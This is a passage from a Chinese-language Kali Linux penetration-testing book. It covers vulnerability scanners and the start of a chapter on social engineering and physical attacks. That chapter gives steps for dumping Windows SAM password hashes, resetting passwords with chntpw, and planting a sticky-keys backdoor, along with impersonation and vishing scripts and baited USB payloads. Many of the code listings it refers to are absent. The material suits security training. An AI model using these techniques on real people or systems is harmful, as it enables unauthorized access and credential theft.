·会经常遇到蓄意的错误或不完整的源代码，因此有经验的开发人员尽量让漏洞远离没有经验的用户，尤其是试图破坏系统但又不清楚自己行为将带来什么风险的新手。

·漏洞利用并不总是有详尽的文档解释。毕竟，没有一个标准用于管理数据系统攻击代码的创建和使用。作为一个结果，实践往往较为困难，特别是对于缺乏应用开发的测试者。

·由于环境变化导致行为不一致（新的补丁应用到目标系统、目标应用程序中的语言变化）可能需要对源代码进行重大调整，这需要一个有经验的开发人员。

·免费提供的、包含恶意的代码，总是存在风险。渗透测试人员可能会认为它是在进行概念验证（POC）练习，并不知道该代码同时为该应用程序建了一个后门，可以供开发者使用。

为了确保结果的一致性，遵循一致性实践的程序员创建了一个程序员社区，已经开发出几种渗透利用的框架。其中，最为流行的是Metasploit框架。

4.3　用nmap进行漏洞扫描

没有nmap就不能安全运行分配，到目前为止，我们已经讨论了如何在主动侦察中使用nmap，但攻击者不仅会用nmap来查找开放的端口和服务，而且还会用nmap来执行漏洞评估。截止到2017年3月10日，nmap的最新版本是7.40，附带500+NSE（nmap脚本引擎）脚本，如图4-6所示。

图4-6　查看nmap7.40的脚本库

渗透测试人员能够利用nmap最强大且最灵活的功能，编写自己的脚本，并使其自动化以方便利用。开发NSE的主要原因如下：

·网络发现：攻击者利用nmap的主要目的是网络发现，正如我们在第3章的主动侦察中所学到的一样。

·服务的分类版本检测：共计数千种服务。把多个版本的详细信息集中到同一个服务上显得更加复杂。

·漏洞检测：在广泛的网络范围内自动识别漏洞。然而，nmap本身并不完全是漏洞扫描程序。

·后台检测：一些脚本被编写用来识别后台模式。如果网络上有任何蠕虫感染，一些脚本将被写入以识别该模式，这样使得攻击者的工作变得更集中，能专注于远程接管机器。

·漏洞利用：结合nmap的漏洞利用能力，攻击者还可以利用nmap与其他工具（如Metasploit）结合开发，或者编写一个定制的反向shell代码。

在启动nmap执行漏洞扫描之前，渗透测试人员必须更新nmap脚本数据库，查看是否有新脚本添加到数据库中，防止错过该漏洞识别：

针对目标主机运行所有脚本：

4.3.1　Lua脚本介绍

Lua是一种建立在C语言之上的轻量级嵌入式脚本语言，于1993年在巴西创立，至今仍然在积极发展中。它是一种强大而快速的编程语言，主要用于游戏应用和图像处理。一些平台的完整的源代码、手册和二进制文件一般不超过1.44 MB（小于软盘）。Lua开发的安全工具有nmap、Wireshark和Snort 3.0等。

选择Lua作为信息安全的脚本语言的原因之一是其紧凑性，没有缓冲区溢出和格式化字符串漏洞，并且可解析。

Lua可以通过在终端上使用apt-get install lua5.3命令直接安装到Kali Linux。以下代码是用于读取文件并打印第一行的示例脚本：

Lua类似于任何其他脚本，例如Bash和Perl脚本。图4-7是上述脚本的输出结果。

图4-7　执行上述脚本文件的结果

4.3.2　自定义NSE脚本

为了实现效率最大化，自定义脚本有助于渗透测试人员在规定时间内找到正确的漏洞。但是，大多数时候，攻击者并没有时间限制。以下代码是一个Lua NSE脚本，使用nmap标识在整个子网上搜索的特定文件位置：

将文件保存到/usr/share/nmap/scripts/文件夹中。最后，保证可运行NSE脚本，准备好进行脚本测试，如图4-8所示。

图4-8　用nmap执行Lua NSE脚本

为了理解上面的NSE脚本，这里解释代码中的内容：

·local http：require'heep'：从Lua调用正确的库，该行调用HTTP脚本并将其作为本地请求。

·description：测试者/研究人员可以输入脚本的解释。

·categories：这通常有两个变量，其中一个声明是安全还是侵入。

4.4　Web应用漏洞扫描器

漏洞扫描器具有所有扫描器的共同缺点（扫描器只能检测已知漏洞的签名，它们不能确定一个漏洞实际上是否还可以被利用，还有就是假阳性的报告率很高）。此外，Web漏洞扫描器不能识别业务逻辑的复杂错误，它们没有准确地模拟黑客所使用的复杂链接攻击。

在努力提高可靠性方面，许多渗透测试者使用多种工具扫描Web服务。当多个工具同时报告可能存在一个特定的漏洞时，这样的共识将直接驱使测试者手动验证漏洞是否存在。

Kali针对Web服务配有大量漏洞扫描器，并为安装新的扫描器和扩展其能力提供了一个稳定平台。这就允许渗透测试人员通过选择扫描工具来提高测试的有效性：

·最大限度的完整性（漏洞发现的总数）和测试精度（真实的、非假阳性的漏洞结果）。

·尽量减少获得可用的结果所需的时间。

·尽量减少对被测试网络服务的负面影响。这包括由于流量的增加而使系统反应变慢。例如，最常见的负面影响之一是这种测试结果的形式，即输入数据到数据库，然后通过电子邮件向每个人发送已经发生的更新，这种不受控制的测试形式，可以导致发送超过30 000封电子邮件！

选择最有效的工具是非常复杂的。除了已经列出的因素，一些漏洞扫描器也具有相应的漏洞利用和支持后期漏洞活动的功能。对于我们而言，我们会将所有扫描可利用弱点的工具考虑为漏洞扫描器。Kali提供几种不同的漏洞扫描器，主要如下：

·扩展了传统漏洞扫描程序的功能，包括网站和关联服务（例如，Metasploit框架和Websploit）的扫描器。

·拓展了非传统的应用功能，如Web浏览器，支持Web服务漏洞扫描（OWASP Mantra）的扫描器。

·专门开发用于支持对网站和网页服务的侦察和利用检测（Arachnid、Nikto、Skipfish、Vega、w3af等）的扫描器。

4.4.1　Nikto和Vega简介

Nikto是对Web服务器执行全面测试活动最有效的Web应用扫描器之一。基本功能是检查6 700多个有潜在危险的文件或程序，检查服务器的过时版本，以及270多个服务器特定版本的漏洞。Nikto识别服务器错误配置、索引文件、HTTP方法，以及识别已安装的Web服务器和软件版本。Nikto根据Open-General公共许可证版本（https://opensource.org/licenses/gpl-license）发布。

一个基于Perl的开源扫描器，允许躲避IDS以及用户改变扫描模块。然而，这种“原生态”的网络扫描器已开始跟不上形势发展，它没有某些现代扫描器准确。

大多数测试者开始测试一个网站时都使用Nikto，这是一个简单的扫描器（特别是有关结果报告），通常提供准确但有限的结果。这种扫描的一个样本输出如图4-9所示。

图4-9　使用Nikto测试网站

下一步是使用更先进的扫描器扫描大量的漏洞。相对来说，它们可能需要更长的时间来完成。复杂的漏洞扫描是不寻常的（如确定被扫描的网页的数目，也就是网站的复杂性，可能包含多种页面，允许用户输入，如搜索功能或表单，从用户的后台数据库收集数据），需要数天才能完成。

基于验证发现漏洞数量的、最有效的扫描器之一是Subgraph Vega。如图4-10所示，它会扫描目标，并将漏洞分级为高、中、低和信息性的。为了得到特定的结果，该测试器能够点击确定结果为“drill down”（深入）。该测试器还可以修改搜索模块，这是用Java编写的，专注于特定的漏洞或找出新的安全漏洞。

图4-10　使用Subgraph Vega发现漏洞

Vega可以帮助用户找到漏洞，例如映射跨站点脚本、存储跨站点脚本、盲SQL注入、远程文件包含、shell注入等。Vega还可以对TLS/SSL进行安全设置，提高TLS服务器安全性。

Vega还提供了Proxy部分的特殊功能，允许渗透测试人员回复请求并观察响应以执行验证，我们称之为手动PoC。图4-11显示了Vega的Proxy部分的内容。

图4-11　Vega的Proxy部分的内容

4.4.2　定制Nikto和Vega

从Nikto2.1.1版本开始，社区允许开发人员调试和调用特定的插件，同样，从版本2.1.2开始可以相应地进行定制，所有插件都在列表中，然后指定一个特定的插件来执行任何扫描。目前渗透测试人员可以使用的插件大约有35个，图4-12提供了在最新版本的Nikto中可用的插件。

图4-12　Nikto中可用的插件列表

例如，如果攻击者发现工具信息，如Apache server2.2.0，那么可以通过运行以下命令将Nikto自定义为仅为Apache用户枚举运行特定插件：

攻击者也可以通过nikto.pl-host<hostaddress>-port<hostport>-useragentnikto-useproxyhttp：//127.0.0.1:8080命令来扫描burp或者其他代理工具。

渗透测试人员的运行结果如图4-13所示。

图4-13　用Nikto自定义针对Apache的特定插件

当Nikto插件成功运行时，输出文件apacheusers.xml将包含目标主机上的活动用户。

与Nikto类似，Vega还允许我们通过导航窗口并选择偏好项（Preference）来定制扫描器，通过它可以设置一般的代理配置，甚至可以为第三方代理工具指定流量。然而，Vega有自己的代理工具可以使用。图4-14提供了在开始Web应用程序扫描之前可以设置的扫描器选项。

图4-14　Vega扫描器列表

攻击者可以定义自己的用户代理或模拟任何知名的用户代理头，如IRC bot或Google bot，还可以配置最大数量的总派生和子进程，以及可以遍历的路径数。例如，如果泄露显示了www.target.com/admin/，有一个字典添加到URL：www.target.com/admin/secret/。默认情况下最大值设置为16，但是攻击者可以利用其他工具来深入挖掘，以最大限度地提高Vega的有效性，并且精确地选择路径的正确数量，在存在保护机制的情况下，例如WAF或网络级IPS，渗透测试人员可以选择以每秒慢速连接的速度扫描并发送到目标。还可以设置最大响应，默认设置为1 MB（1 024 KB）。

一旦设置了偏好项，在添加新扫描时可以进一步自定义扫描。当渗透测试人员点击New Scan，输入基本URL进行扫描并单击Next，进入如下界面（如图4-15所示）。

图4-15　Vega选择模块界面

Vega提供两个部分进行自定义：一个是注入模块，另一个是响应处理模块：

·注入模块：这包括作为内置Vega Web漏洞数据库一部分的漏洞利用模块列表，并测试目标的漏洞，例如，SQL盲注入、XSS、远程文件包含、本地文件包含、头注入等。

·响应处理模块：这包括可以作为HTTP响应本身的一部分安全配置列表，例如目录列表、错误页面、跨域策略、版本控制字符串等。Vega还支持测试人员添加自己的插件模块（https://github.com/subgraph/Vega/）。

4.5　移动应用漏洞扫描器

渗透测试人员经常忽视在App商店（Apple、Google等）上的移动应用程序。然而，这些应用程序也会用作网络入口点。在本节中，我们将介绍如何快速设置移动应用程序扫描器，以及如何将移动应用程序扫描器的结果组合在一起，并利用信息来识别更多的漏洞，以实现渗透测试的目标。

移动安全框架（Mobile Security Framework，MobSF）是针对所有移动平台（包括Android、iOS和Windows）的开源自动渗透测试框架。整个框架是用Django Python框架编写的。

该框架可以从https://github.com/MobSF/Mobile-Security-Framework-MobSF直接下载，也可以从Kali Linux克隆，克隆命令为：git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF。

克隆好框架后，按照以下步骤加入移动应用扫描器。

1.通过cd命令进入Mobile-Security-Framework-MobSF文件夹：

2.用以下命令安装依赖包：

3.安装完成后，通过输入python3manage.py test来测试配置设置，你应当可以看到如图4-16所示的内容。

图4-16　在Kali Linux上测试配置设置

4.现在转移应用程序安装：

5.通过使用python manage.py runserver yourIPaddress:portnumber运行漏洞扫描器，如图4-17所示。

图4-17　运行漏洞扫描器

6.在浏览器中访问http://yourIPaddress:Portnumber，将侦察期间发现的任何移动应用程序上传到扫描器，用于识别入口点。

7.一旦文件上传，渗透测试人员可以识别扫描器的配置文件以及所有其他重要信息，如图4-18所示。

图4-18　查看扫描器的配置文件信息

扫描结果可以提供所有的移动应用配置信息，例如活动、服务、接收者、提供者等。这些配置信息有时还包括可用于其他鉴别服务和漏洞的硬编码凭据或云API密钥。在渗透测试练习时，我们在目标移动应用的一个Java文件的注释中发现了一个开发者账号和base64密码，有了这些信息就可以访问该机构的外部VPN了。

移动安全框架的核心部分在URL、恶意软件和字符串中。

4.6　网络漏洞扫描器OpenVAS

开放漏洞评估系统（Open Vulnerability Assessment System，OpenVAS）是一个开源的漏洞评估扫描器，也是攻击者通常用来大规模扫描网络的漏洞管理工具，其中大约包括有47 000个漏洞的数据库。然而，与其他商业工具（如Nessus、Nexpose、Qualys等）相比，这可以被认为是一个比较慢的网络漏洞扫描程序。

如果OpenVAS尚未安装，请确保Kali是最新版本，并通过运行apt-get install openvas命令安装最新的OpenVAS。安装完成后，运行openvas-setup命令设置OpenVAS。为了确保安装可行，渗透测试人员可以运行openvas-check-setup命令，它会列出有效运行OpenVAS所需的前10个项目。安装成功后，测试人员应该能够看到如图4-19所示的内容。

图4-19　OpenVAS安装成功的界面

接下来，通过运行openvasmd--user=admin--new-password=YourNewPassword1，--new-password=YourNewPassword1命令创建管理员用户，并通过从提示符运行openvas-start命令启动OpenVAS扫描器和OpenVAS管理器服务。根据带宽和计算机资源，这可能需要一段时间。安装和更新完成后，渗透测试人员应能够使用SSL（https://localhost:9392）访问9392端口上的OpenVAS服务器，如图4-20所示。

图4-20　选择端口访问OpenVAS

下一步是通过使用yournewpassword1作为密码，输入admin作为用户名来验证用户凭据，测试人员应该可以顺利登录，登录成功界面如图4-21所示。攻击者现在可以通过输入目标信息，并从扫描器界面点击Start Scan（开始扫描）来设置OpenVAS。

图4-21　OpenVAS主界面

定制OpenVAS

与其他扫描器不同的是，OpenVAS还可以自定义扫描配置，它允许测试人员添加凭证，禁用特定的插件，并设置可以进行的最大和最小连接数等。图4-22显示了允许定制的不同扫描设置。

图4-22　OpenVAS自定义扫描配置界面

4.7　商业漏洞扫描器

大多数攻击者都使用开源工具实施攻击，而商用漏洞扫描器在加速渗透测试过程方面有各种优缺点。在本节中，我们将学习在Kali Linux中安装Nessus和Nexpose。由于这些扫描器都是大公司开发的，提供了综合文档，因此，我们不会过多阐述它们的配置方法。

4.7.1　Nessus

Nessus由Renaud Deraison于1998年发起的，是最老的漏洞扫描器之一。Nessus曾是一个开源项目，直到2005年被Tenable网络安全公司（由Renaud合作创建）接管。尽管Tenable拥有多款安全产品，但是，在安全圈内，Nessus是用于网络架构扫描的最常用的商用漏洞扫描器之一。本节我们将了解如何安装Nessus专业版。

根据以下步骤完成Nessus在Kali Linux上的安装：

1.访问https://www.tenable.com/try网站并注册为普通用户，然后选择Try Nessus Professional Free（免费试用Nessus专业版）。

2.从https://www.tenable.com/downloads/网站下载对应的Nessus版本。

3.下载完成后，通过以下命令进行安装：

此时，测试人员将在Kali Linux中看到如图4-23所示的界面。

图4-23　Nessus安装界面

4.接着通过运行service nessusd start开启nessus服务，然后Nessus就在系统中启动了。

5.默认情况下，Nessus扫描器的运行端口是SSL的8834号端口。Nessus安装成功后的画面如图4-24所示。

图4-24　Nessus启动界面

6.添加一个新用户并激活注册码。扫描器将根据注册码下载所有相关插件。

7.最后，你将看到Nessus的运行界面（如图4-25所示），此时你就可以对目标系统或网络实施扫描了。

图4-25　Nessus运行界面

4.7.2　Nexpose

类似于Nessus，Rapid 7 Nexpose也是一款广泛使用的商业漏洞扫描器，它支持针对任何机构的漏洞全生命周期管理。想利用该扫描器的攻击者可以申请免费试用版。

根据以下步骤完成Rapid 7 Nexpose在Kali Linux上的安装：

1.注册Rapid 7账号（https://www.rapid7.com/products/nexpose/request/），你需要一个有效的商业电子邮箱来接收激活码。

2.通过运行以下代码，从官网下载安装包：

通过以下命令修改下载文件的权限，如果系统环境不满足可能报错。

根据扫描器要求输入信息，如用户名、密码、证书等。根据指引完成Nexpose安装，你将看到如图4-26所示的画面。

3.默认情况下，Nexpose运行端口为SSL的3780号端口。所以，测试人员能通过https://localhost:3780/访问Nexpose。

4.同样，Nexpose也会根据注册码下载所有插件，随后你就可以登录Nexpose漏洞扫描器了（如图4-27所示）。

图4-26　Nexpose安装画面

图4-27　Nexpose登录界面

4.8　专业扫描器

杀链的利用阶段是最危险的一个阶段，渗透测试人员或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用秘密技术，以最大限度地减少测试人员暴露的风险。虽然没有具体的方法或工具可以确定未被检测到，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。

另一个值得使用的扫描器是Web应用程序攻击和审计框架（Web Application Attack and Audit Framework，w3af），一个基于Python的开源Web应用程序安全扫描器。它提供预配置的漏洞扫描，以支持诸如OWASP等标准。使用扫描器的过多选项是有代价的，它需要的时间明显长于其他扫描器审查目标的时间，并且在很长的测试时间中，很容易出现故障。配置为样本网站的完整审计的w3af实例如图4-28所示。

图4-28　使用w3af审计

Kali还包括一些应用特定的漏洞扫描器。例如，WPScan是专门用于WordPress CMS应用的。

4.9　威胁建模

被动和主动侦察阶段，将在目标网络和系统之间形成映射，同时识别攻击者可利用的安全漏洞。在这个阶段，攻击者的杀链对动作有一个强烈的偏见——测试者希望通过直接启动攻击来证明他们可以击垮目标。然而，意外攻击可能并不是实现目的最为有效的手段，它可能以牺牲所需要的隐身性为代价来实现攻击目的。

渗透测试人员已经采取的（正式或非正式的）一个过程，被称为威胁建模。这最初是由网络规划者发展起来的，制定针对攻击的防御对策的过程。

渗透测试人员和攻击者通过不断寻找防御威胁建模方法来提高攻击的成功率。攻击威胁建模是制定攻击策略的一个较为常见的手段，它将侦察和研究的结果相结合。攻击者必须充分考虑现有的目标，并确定目标是以下何种类型：

·首要目标：这些是任何组织的主要入口点目标。当这些目标被击垮时，它们将直接帮助攻击者达到目的。

·次要目标：这些目标可以提供信息（安全控制、密码、登录政策、以及本地和域管理员的用户名和密码）以支持对首要目标进行攻击或访问。

·第三目标：这些目标可能与测试或攻击对象无关，但是相对容易攻击，有可能为实际攻击提供信息或者其他思路。

对每种类型的目标，测试者需要确定相应的测试方案。单个漏洞可以通过秘密技术进行攻击，而多目标可以通过大量攻击来对目标进行快速渗透。如果实施一个大规模的攻击，防护者的控制装置产生的噪声经常会导致他们减少在路由器和防火墙的登录次数，甚至完全禁用它们。

该方法对渗透选择具有指导性作用。一般情况下，攻击者创建威胁模型时，将遵循图4-29所示的攻击树方法。

图4-29　威胁模型的攻击树图

攻击树方法为测试者查看可用的攻击选项提供了便利，如果一个攻击方案没有成功，也可以快速找到替代方案。一旦生成攻击树，接下来渗透阶段需要确定该渗透是否可以对目标对象的漏洞进行攻击。在上面的攻击树中，我们可视化了获取工程文档的目标，这对于提供工程服务的组织来说更为关键。

4.10　小结

在本章中，我们重点介绍了多个漏洞评估工具和技术。我们已经学会如何用NSE编写自己的nmap漏洞脚本和使用工具，这些工具可以将主动侦察的结果转换为一个定制的活动，建立起测试人员和目标之间的访问。我们还学习了如何在Kali Linux上安装OpenVAS、Nessus和Nexpose漏洞扫描器。

Kali提供了一些工具来方便开发、选择和漏洞利用，包括内部exploit-db（searchsploit）数据库，以及简化漏洞利用和管理的几个框架。

第5章将重点介绍攻击者杀链最重要的部分——利用阶段。物理安全是访问数据系统的一种方法（如果你可以引导系统或者有root权限！）。物理安全与社会工程学联系紧密，黑客的艺术与对他们的信任息息相关。这是攻击的一部分，在这里攻击者实现他们的目标。典型的利用活动包括利用访问控制来横向扩展和利用窃取用户凭据来纵向扩展。

第5章　高级社会工程学和物理安全

社会工程学是从人出发提取信息的一门艺术。近年来，社会工程学攻击在给定环境和条件下的行为利用和寻找弱点方面取得了很大进展。社会工程学攻击可有效用于欺骗用户从而获取目标系统的物理访问。在渗透测试、红队训练和真实攻击中，它是单一最成功的攻击途径。社会工程学攻击能够成功的关键因素有以下两个：

·在侦察阶段获取的信息，攻击者必须知道目标的名称和用户名。更重要的是，攻击者要弄清楚目标网络中用户所关注的东西。

·弄清楚如何利用这些信息说服潜在目标，通过角色模仿，用电话与他们交谈，向他们发送请求，劝说可能的目标点击某个链接或者执行某个程序，从而进行攻击。近年来，以下两种欺骗手段是最成功的：

·如果目标公司最近刚刚完成年终考核，那么公司的每个员工都会十分关注从人力资源部接收更新的薪酬方案。因此，标题内容与上述话题有关的邮件或者文档，更容易被目标企业的员工打开。

·如果目标企业与其他公司并购或合并不久，针对公司C级别的经理和其他高层的社会工程学攻击就可能成功。此类攻击背后的原理是，用户的权限越多，攻击者越可能获得访问权限。

Kali Linux提供了一些工具和框架，在利用社会工程学去影响受害者，使其打开文件或执行某些操作时，这些工具和框架能够增加成功的机会。例如，Metasploit框架生成的基于文件的可执行文件，以及非可执行文件攻击技术（如利用Empire的PowerShell脚本）。

本章主要介绍社会工程学工具包（Social-Engineering Toolkit，SEToolkit）和Gophish。本章介绍的使用这些工具的技术可以作为使用其他工具进行社会工程学攻击时的参考模型。

在本章中，你将学习：

·攻击者可以利用的不同社会工程学攻击方法。

·如何在控制台执行物理攻击。

·如何使用微控制器和USB创建流氓物理设备。

·如何使用凭据收割机攻击窃取或者收集用户名和密码。

·如何进行标签钓鱼和Web劫持攻击。

·如何使用多种Web混合攻击方法。

·如何使用PowerShell的字母数字shellcode注入攻击。

·如何在Kali Linux上设置Gophish。

·如何启动电子邮件网络钓鱼攻击。

·为了支持SEToolkit工具包进行社会工程学攻击，我们会描述下面的一般应用实践：

·隐藏恶意的可执行文件和伪装攻击者的URL。

·使用DNS重定向来升级攻击。

·通过USB获取系统和网络的访问权限。

5.1　方法论和攻击方法

作为一种支持杀链的攻击途径，社会工程学关注的是攻击的不同方面，具体来说就是利用人的信任关系或者内部人员的帮助，通过欺骗的手段入侵一个网络及其资源。图5-1描述了攻击者可用于获取信息的不同类型的攻击方法。

图5-1　社会工程学获取信息的主要方法

不同于本书的第2版，这里我们将社会工程学攻击分成两大类：基于技术的攻击和基于人的攻击。

下面将对每种类型简要介绍，而且本章我们会探讨基于计算机的攻击，并重点介绍物理攻击以及使用Kali Linux进行电子邮件钓鱼。

5.1.1　基于技术的攻击

随着技术的演进，社会工程学也从传统的基于计算机和笔记本的攻击，发展为基于手机的攻击。本节我们将分别探讨在Kali Linux上实施基于计算机的攻击和基于手机的攻击。

基于计算机的攻击

利用计算机去实现社会工程学攻击的方法分为以下类型。只有当最大程度地利用所有被动和主动侦察信息时，才能最好地利用所有这些不同类型的攻击：

·电子邮件钓鱼（Email phishing）：攻击者利用电子邮件获取信息，或利用受害者系统中已知软件漏洞的攻击，称为电子邮件钓鱼。

·引诱（Baiting）：这是一种用于嵌入已知漏洞并创建后门的技术，通过使用U盘和光盘实现目标。引诱更注重通过物理媒介来利用人类的好奇心。攻击者可以创建一个木马，通过自动运行功能，或当用户单击打开驱动器中的文件时，木马将为他们提供对系统的后门访问。

·WiFi钓鱼（WiFi phishing）：渗透测试人员可以通过设置类似于目标企业的假WiFi获取用户名和密码。例如，如果攻击者的目标是XYZ公司，通过将WiFi中的SSID设置为与该公司完全相同或相似，允许用户在没有任何密码的情况下连接到假的无线路由器。

基于手机的攻击

·短信钓鱼（SMSishing）：攻击者利用短信服务（Short Message Service，SMS）发送链接或者短信诱使目标点击或回复，从而实施钓鱼攻击。渗透测试人员还可以使用公开提供的服务，例如https://www.spoofmytextmessage.com/free。

·二维码（Quick Response Code，QR code）：在红队训练中，二维码是将攻击数据发送到孤立的目标区域最有效的方式。与垃圾邮件类似，可以将二维码打印并粘贴到人流密集的地方，比如餐厅、吸烟区、厕所或其他地方。

5.1.2　基于人的攻击

在红队训练和渗透测试中，基于人的攻击方式是最有效的，其主要关注人在特定情境下的行为。下面，我们将介绍针对不同人的弱点所实施的攻击的不同类型和策略。

物理攻击

物理攻击通常指涉及攻击者的物理存在所进行的社会工程学攻击。以下是红队训练或渗透测试中可能执行的两种物理攻击：

·冒充（Impersonation）：这需要测试人员创建一个剧本，模仿一个重要的人物来收集目标公司一组员工的信息。我们最近实践了一次社会工程学攻击，目的是通过物理社会工程学攻击来识别域用户的用户名和密码。攻击者可以与受害用户交谈，并冒充内部IT帮助台：“亲爱的X先生，我是内部IT部门的X博士，请注意，您的系统已经与网络断开了20天，由于最新的勒索攻击，建议您安装最新的系统更新，您是否介意提供笔记本电脑的用户名和密码？”这导致用户提供他们的登录细节信息，甚至将笔记本电脑提供给攻击者。现在，攻击者的下一步是为同一个系统建一个后门来维持持续访问。

·控制台上的攻击（Attacks at the console）：这涉及物理访问系统的所有攻击，例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门。

基于语音的攻击

任何利用语音信息欺骗用户对计算机执行操作或泄露敏感信息的攻击都可称为基于语音的社会工程学攻击。

·语音钓鱼（Vishing）是利用语音消息记录或单独与受害者通话从而提取受害者个人或群体的信息的艺术。通常，语音钓鱼涉及可信任的剧本，例如，如果X公司宣布与Y公司建立新的合资企业，员工将非常好奇公司的未来会如何。这使得攻击者可以直接用预先描述的剧本来致电受害者，如下所示：

“您好，我是Y公司的XX。我们两个的公司现在合并了，所以，可以说我们现在在同一个团队工作。话虽如此，请问可以告诉我你们的数据中心位于哪里并提供给我关键任务服务器列表吗？如果您不知道，您能告诉我谁知道这些信息吗？非常感谢！”

5.2　控制台上的物理攻击

本节我们将探讨攻击者在具有物理访问权限的系统上执行的不同类型的攻击。

5.2.1　samdump2和chntpw

转储密码散列的最佳方法之一是使用samdump2。这可以通过打开所获得的系统电源，然后利用Kali U盘在BIOS中进行必要的更改来完成。

1.一旦系统通过Kali启动后，在默认情况下，本地硬盘驱动器必须安装为一个媒体驱动器（假设媒体驱动器没有使用PGP或类似的加密），如图5-2所示。

2.如果驱动器无法安装，攻击者可以按照下面的步骤来安装驱动器，运行以下命令：

3.系统安装完成后，找到安装文件夹（我们这里是/media/root/<ID>/Windows/System32/Config），并运行samdump2SYSTEM SAM，如图5-3所示。SYSTEM和SAM文件应该显示所有系统驱动器上的用户以及他们的密码散列值，然后使用John Ripper或credump工具离线破解密码。

图5-2　本地硬盘驱动安装为媒体驱动器

图5-3　运行samdump2SYSTEM SAM

使用相同的访问权限，攻击者也可以删除系统中用户的密码。chntpw是一个Kali Linux工具，可以用于编辑Windows注册表、重置用户密码、将用户提升为管理员，以及其他一些有用的选项。使用chntpw重置Windows密码是一种很好的方法。或者，当你不知道密码的时候，也可以使用chntpw获得对Windows的访问。

chntpw是用于在Windows NT/2000、XP、Vista以及7中查看一些信息和更改用户密码的实用程序。

4.SAM用户数据库文件通常位于Windows文件系统上的\WINDOWS\system32\config\SAM。找到上述文件夹，如图5-4所示。

5.运行chntpw SAM，密码存储在Windows中的SAM文件中。安全账户管理器（Security Accounts Manager，SAM）是Windows XP、Windows Vista和Windows 7中存储用户密码的数据库文件。

它可用于对本地和远程用户进行身份验证。通常情况下，SAM文件位于C/Windows/system32/config/SAM中，如图5-5所示。

图5-4　用户数据库文件

图5-5　SAM文件内容

最后你应该可以收到SAM的确认，即<SAM>-OK。

注意：在Windows 10系统中，重启系统就会维持hyberfile.sys文件，从而拒绝攻击者安装系统驱动。为了安装驱动程序并获得驱动程序的访问权限，可以使用mount-t ntfs-3g-ro remove_hiberfile/dev/sda2/mnt/folder命令。注意，删除文件后，某些具有随机指针加密工具的系统可能无法启动。

其他旁路工具包括Kon-boot，这是另一个与chntpw有类似功能的取证实用程序，但是Kon-boot只会影响管理员账户，而不会删除管理员密码，它只是让你无密码登录，而在下次系统正常重新启动时，会重新需要原管理员的密码，可从https://www.piotrbania.com/all/kon-boot/下载该工具。

5.2.2　粘滞键

本节将探讨如何物理访问已解锁或没有密码的Windows计算机的控制台。攻击者可以利用Microsoft Windows粘滞键功能，在几秒钟之内建立一个后门。但是，需要一个管理员权限来替换可执行文件。一旦系统通过Kali Linux启动，攻击者就可以替换文件而不受任何限制。

以下是攻击者用cmd.exe或powershell.exe替换Windows的实用程序的列表：

·sethc.exe

·utilman.exe

·osk.exe

·narrator.exe

·magnify.exe

·displayswitch.exe

如图5-6所示，攻击者用cmd.exe替换了sethc.exe。

图5-6　用cmd.exe替换sethc.exe

5.3　创建流氓物理设备

当入侵者可以直接物理访问系统和网络时，Kali也是有利于攻击的。这可能是一个冒险的攻击，因为入侵者可能被细心的人或监控设备发现。然而，“奖励”可能是丰厚的，因为入侵者可以入侵有重要价值数据的系统。

物理访问通常是社会工程学的直接结果，尤其是当使用冒充时。通常冒充包括以下内容：

·一个自称是帮助平台或IT支持的人，只需要通过安装系统升级，就能快速地打动受害者。

·一个供应商和一个客户聊天，然后假装有某人要聊天，或者去洗手间。

·一个投递员丢弃一个包裹。攻击者可以选择在线购买一套制服。不管怎样，因为大多数人都认为，一身穿着棕色衣服、推着堆满箱子的手推车的人就是UPS的投递员，制服对社会工程学不是必要的！

·工人穿着工作服，背着一个他们打印出来的“工作序号”，通常允许进入配线间和其他区域，特别是，当他们声称这是建筑管理者的要求时。

穿着昂贵的西装，夹着一个写字板，来去匆匆。员工会认为你是一个新来的经理。在进行这种渗透时，我们通常会告知人们，我们是审计师，而我们的检查很少受到质疑。

敌意的物理访问的目标是快速入侵选定的系统，这通常是通过在目标上安装一个后门或类似的设备来实现。

经典的攻击之一是在系统中放置一个CD-ROM、DVD或USB密钥，让系统自动播放选项安装它。然而，许多组织禁止在网络上自动播放。

攻击者还可以创建带有“有毒诱饵”（poisoned bait）陷阱的移动设备，通过文件的名称引诱一个人点击文件，并检查其内容。一些例子如下：

·带标签的USB钥匙，如员工工资或医疗保险更新。

·Metasploit允许攻击者绑定一个有效负载（如反向外壳）到一个可执行文件（如屏幕保护程序）。攻击者可以使用公开可用的企业形象，创建一个屏幕保护程序，并邮寄CD给员工，标有新的endorsed screensaver字样。当用户安装程序时，也安装了后门，它连接到攻击者。

·如果你知道员工参加了最近的一次会议，攻击者可以冒充一个供应商，并且给目标发送一封信件，暗示它是供应商给定的后续服务。一个典型的信息是“如果你错过了我们的产品演示和为期一年的免费试用，请查阅USB密钥上的幻灯片，单击start.exe文件”。

一个有趣的变种是SanDisk U3 USB密钥，或Smart Drive（智能驱动）。U3密钥被预装软件，当插入协助启动批准程序时，启动允许密匙直接写入文件或注册表信息。u3-pwn工具（Kali Linux|Applications|Social Engineering Tools|u3-pwn）从SanDisk U3删除原来的ISO文件，并且用一个敌意的Metasploit负载代替它，然后编码以避免目标系统的检测。不幸的是，这些USB设备的支持正在减少，而且与Metasploit负载一样，面对相同程度的检测时，它们仍有漏洞。

微机或基于USB的攻击代理

近年来利用微机或者基于USB设备的渗透测试和红队训练显著增加。这主要是因为它们比较便捷，可以隐藏在网络上任何地方，并且几乎可以像普通的笔记本一样运行。本节我们将介绍两个最常用的设备：Raspberry Pi和Malduino USB。

Raspberry Pi

Raspberry Pi是一种微机，尺寸约8.5cm×5.5cm，但能包含2 GB RAM、两个USB端口和一个以太网端口（采用Broadcom芯片），使用ARM处理器，运行频率700 MHz（可超频至1 GHz）。它不包括硬盘，而是使用SD卡进行数据存储。如图5-7所示，Raspberry Pi差不多口袋大小，很容易隐藏在网络中（藏在工作站或服务器后面、放置在服务器柜中，或隐藏在数据中心的地板下）。

图5-7　Raspberry Pi

要将Raspberry Pi配置为攻击媒介，以下项目是必需的：

·Raspberry Pi模型B或更新版本。

·一个HDMI电缆。

·微型USB电缆和充电设备。

·一个以太网电缆或小型无线适配器。

·一个SD卡，10级，至少8 GB。

所有的设备通常可以在网上买到，总费用不到70美元。

